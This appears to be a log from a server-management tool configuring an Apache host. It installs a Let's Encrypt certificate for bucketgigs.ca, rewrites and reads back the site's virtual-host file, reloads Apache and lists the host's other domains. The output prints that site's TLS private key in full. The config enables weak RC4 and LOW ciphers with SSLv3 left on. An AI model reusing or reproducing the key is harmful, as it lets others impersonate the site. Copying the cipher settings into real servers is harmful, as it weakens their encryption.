FY8USlom1u8WIEjcS/zVTUPvVNC+kr3m9TYCUn1hnYt8+dYJUZz+xwMrLa9/xj2R
B/DHFOyIpRA4k9S49IbSYRnsOH09basLC+RIzY2T8B33Aidmsqa8eaR7sj4T7BzC
ZQEWgjRmJil2Sb/K7WuAs0hBxB2KDT4VvXY+Yy3QYQKBgQDubYGSAZZPI9NYmXsM
jyErnFTiHNJG8dKKMwwuOuMxtkzJdYmZ+sq17JenPHqPKM+Ve7C0ZtZxkrhFBjT0
rbdbUnrRtsfMLyhJCbJY+e1ZqrZ7e2iwBL9F2yPECGhBh3j2Lv8TstPfL6bq8j1x
09LX9t0ynz2KtByx8kmUX2KbcwKBgQDWcUhZq/X3aiJlwohLgBoQlEDNzwTWRKVf
CBkkecp3M6rshZ+bD6d6AqEyW3LRDX8yQx+i/DTkkciS2hToVpDdEO7EVB3MrY+H
aKJBC0FDqCU6oxksVSqxMohjbYUB2hcQMe4uJ+J2cET4i17rvM511ju44DbkbyuV
XE51RqP6eQKBgGnBPsCRXadav6rD4RVwAwmB/RCSMh7vsjBEdjmnOxDYyHRvYwpe
eD17ZMT0CXSoaHLoezd5idK0fnF3UFPbHcIu8nVEuphxrk+/MlFPAh1MoEZjNcsl
P+XvTozsIbo3Kcsgi1mkb1/GliYOLnzntNTAFdsXUMfOHhA75LEgIe/LAoGADlC7
qrjPD7g3GaH15Uxk8Qxkkxip0v/8Ji7tNsEmofSCCY4WDIzr+jootqriLFCBWEKg
3wmFImkVAbCrSqNUwl06A0M2Rg6kET8L7dmpfrG/4n021f3NfszHzBNomKoNdhhP
NSeWd5+hCxKKwKP3CGjHzdyx7Wf6edsSpcOUeMkCgYEAw/Ckei0G9WhKlMzi5u77
Fk8GiZrS0+RztZGDrSNl/kcgBfLYcQAae+OzbmxtEap6Ww85CCbxmWVVJIj8/5zV
AroSGDix6sHRlgBVk0pwbucxY6P19w+hA4cE7B3oTTEDz6w9pS5CVQ0SUvlKeTvQ
uDNPYwHgztVUHsllsLSxd6Y=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-06 06:02:06: 

chmod 755 /tmp/pkp537202; /tmp/pkp537202; rm /tmp/pkp537202

2025-09-06 06:02:06: 


dir=/etc/ssl/certs


2025-09-06 06:02:06: 

PUT: /tmp/pkp314076

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bucketgigs_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-06 06:02:06: 

chmod 755 /tmp/pkp314076; /tmp/pkp314076; rm /tmp/pkp314076

2025-09-06 06:02:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf 41

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-06 06:02:06: 

PUT: /tmp/pkp499445

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bucketgigs_www_ca.conf
TARGET=/etc/apache2/sites-enabled/bucketgigs_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bucketgigs_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf= 1'
fi


2025-09-06 06:02:06: 

chmod 755 /tmp/pkp499445; /tmp/pkp499445; rm /tmp/pkp499445

2025-09-06 06:02:06: 




2025-09-06 06:02:06: 

PUT: /tmp/pkp189471

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-06 06:02:06: 

chmod 755 /tmp/pkp189471; /tmp/pkp189471; rm /tmp/pkp189471

2025-09-06 06:02:07: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:02:07: Establishing a connection
2025-09-06 06:02:07: 

PUT: /tmp/pkp819445

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-06 06:02:07: 

chmod 755 /tmp/pkp819445; /tmp/pkp819445; rm /tmp/pkp819445

2025-09-06 06:02:07: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:02:07: 

PUT: /tmp/pkp318824

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bucketgigs_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:02:07: 

chmod 755 /tmp/pkp318824; /tmp/pkp318824; rm /tmp/pkp318824

2025-09-06 06:02:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf	1379

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-06 06:02:07: 

PUT: /tmp/pkp128863

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:02:07: 

chmod 755 /tmp/pkp128863; /tmp/pkp128863; rm /tmp/pkp128863

2025-09-06 06:02:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt	5369
4e:9c:46:ce:39:ae:5a:3a:14:5e:2b:88:53:b1:1c:c5

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBUBG34MsywhPJrau2htC7u0oMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzMzWhcNMjUxMjA1MDUwMzMyWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
x7kMCI9xsH2+L7SYylVl2aWFa/FYHi6t75jV2wRTZqql3ENyoTFM3x/p3pSNAwth
ugLkRJuJFw2W1WmA/pYWbBvH77Xaxj1JtyeMUmvH3ZtsPzqRIS+CwQaUFkvVxQvu
7M+DASFAq3QRzJsLJwvfWH6Bh+W0CcboJXs+IP4V7gfTVZLJf0hwNQm3bL1Dv9sX
rUX80swxit6WdTq/Eu3GNBBjdkiZ1VWuu2LH8NqzzLrrYWInGO/muyPuzPl+Gf5P
F9kJ/sywC9Tma38TO4Ke2gOMRlrH5mFfJgjFJMYcOnbm26qiNCVTPbrIBNGAggjx
WryxrX/BL9SSr3QgzaLHWwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQaGJ6oJszKCa64x1pTGy67Y7bnbzAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDEuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHYADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZ
HZ4V2wAABAMARzBFAiBQDzBVqno2O0HwcZA6kIWqBwC/FfSO3Mz2JPjOKG2fSAIh
ALTF9fPdnlhYG9IS2suwwqH5023wCpJnJPm3Uhu5ugTMAHcAEvFONL1TckyEBhnD
jz96E/jntWKHiJxtMAWE6+WGJjoAAAGZHZ4drAAABAMASDBGAiEAloNd+IumCZEG
L80+Dja7Geu0yozhHVVLXozKeXIiOBoCIQCFL+QfsBlgJJNCQq7PIZ2UYIDDnvW/
1hjg+ICdstmH7zANBgkqhkiG9w0BAQsFAAOCAQEAbk/jsWurhbdk4aXPYKaCjAzV
1Gh9jwqKCm/anr3M6/cIkiiTJJk6W381xj+rCFF4/s16F091MoPLHWPuQu1yZ7YF
viGSy+nwB6CccYbXaZl0wgtyPsnyFRkiGVcBAPAoArE0/TT7nCmpevze6EjGaZ03
iWdgrX4osfjs6gME4pGHg69dEA+A+SiOEIkR8vB3GctlGG1cfgYUEsKFF17k1Yke
6E00AtrFhns9N+84uI82NPrlFDgfkhnzB8DXE9jcrPFNj0mfNBhjTIPmgiMegLGX
SB/8fhwedW1wQbDvgqxVLU9K7byy9w2eEPm1gpqkxgYQiiaHg6o2gemIFBnKsA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHuQwIj3Gwfb4v
tJjKVWXZpYVr8VgeLq3vmNXbBFNmqqXcQ3KhMUzfH+nelI0DC2G6AuREm4kXDZbV
aYD+lhZsG8fvtdrGPUm3J4xSa8fdm2w/OpEhL4LBBpQWS9XFC+7sz4MBIUCrdBHM
mwsnC99YfoGH5bQJxuglez4g/hXuB9NVksl/SHA1CbdsvUO/2xetRfzSzDGK3pZ1
Or8S7cY0EGN2SJnVVa67Ysfw2rPMuuthYicY7+a7I+7M+X4Z/k8X2Qn+zLAL1OZr
fxM7gp7aA4xGWsfmYV8mCMUkxhw6dubbqqI0JVM9usgE0YCCCPFavLGtf8Ev1JKv
dCDNosdbAgMBAAECggEAXMV963QGET83Wp1+421rk/+ozA0dK1fvf330yHln7CaU
SI4j7vAhjvsZ/UPvhFyDFo5FTgEZWtX7HEKXoqpA3BLDent0leTeGu+J5Lcf7bZG
P9CKnWmeSN8vZnPvZko2v1VcuuehTILryaizM332TvrkXCW8zVXRe6eVommj8h5q
FY8USlom1u8WIEjcS/zVTUPvVNC+kr3m9TYCUn1hnYt8+dYJUZz+xwMrLa9/xj2R
B/DHFOyIpRA4k9S49IbSYRnsOH09basLC+RIzY2T8B33Aidmsqa8eaR7sj4T7BzC
ZQEWgjRmJil2Sb/K7WuAs0hBxB2KDT4VvXY+Yy3QYQKBgQDubYGSAZZPI9NYmXsM
jyErnFTiHNJG8dKKMwwuOuMxtkzJdYmZ+sq17JenPHqPKM+Ve7C0ZtZxkrhFBjT0
rbdbUnrRtsfMLyhJCbJY+e1ZqrZ7e2iwBL9F2yPECGhBh3j2Lv8TstPfL6bq8j1x
09LX9t0ynz2KtByx8kmUX2KbcwKBgQDWcUhZq/X3aiJlwohLgBoQlEDNzwTWRKVf
CBkkecp3M6rshZ+bD6d6AqEyW3LRDX8yQx+i/DTkkciS2hToVpDdEO7EVB3MrY+H
aKJBC0FDqCU6oxksVSqxMohjbYUB2hcQMe4uJ+J2cET4i17rvM511ju44DbkbyuV
XE51RqP6eQKBgGnBPsCRXadav6rD4RVwAwmB/RCSMh7vsjBEdjmnOxDYyHRvYwpe
eD17ZMT0CXSoaHLoezd5idK0fnF3UFPbHcIu8nVEuphxrk+/MlFPAh1MoEZjNcsl
P+XvTozsIbo3Kcsgi1mkb1/GliYOLnzntNTAFdsXUMfOHhA75LEgIe/LAoGADlC7
qrjPD7g3GaH15Uxk8Qxkkxip0v/8Ji7tNsEmofSCCY4WDIzr+jootqriLFCBWEKg
3wmFImkVAbCrSqNUwl06A0M2Rg6kET8L7dmpfrG/4n021f3NfszHzBNomKoNdhhP
NSeWd5+hCxKKwKP3CGjHzdyx7Wf6edsSpcOUeMkCgYEAw/Ckei0G9WhKlMzi5u77
Fk8GiZrS0+RztZGDrSNl/kcgBfLYcQAae+OzbmxtEap6Ww85CCbxmWVVJIj8/5zV
AroSGDix6sHRlgBVk0pwbucxY6P19w+hA4cE7B3oTTEDz6w9pS5CVQ0SUvlKeTvQ
uDNPYwHgztVUHsllsLSxd6Y=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
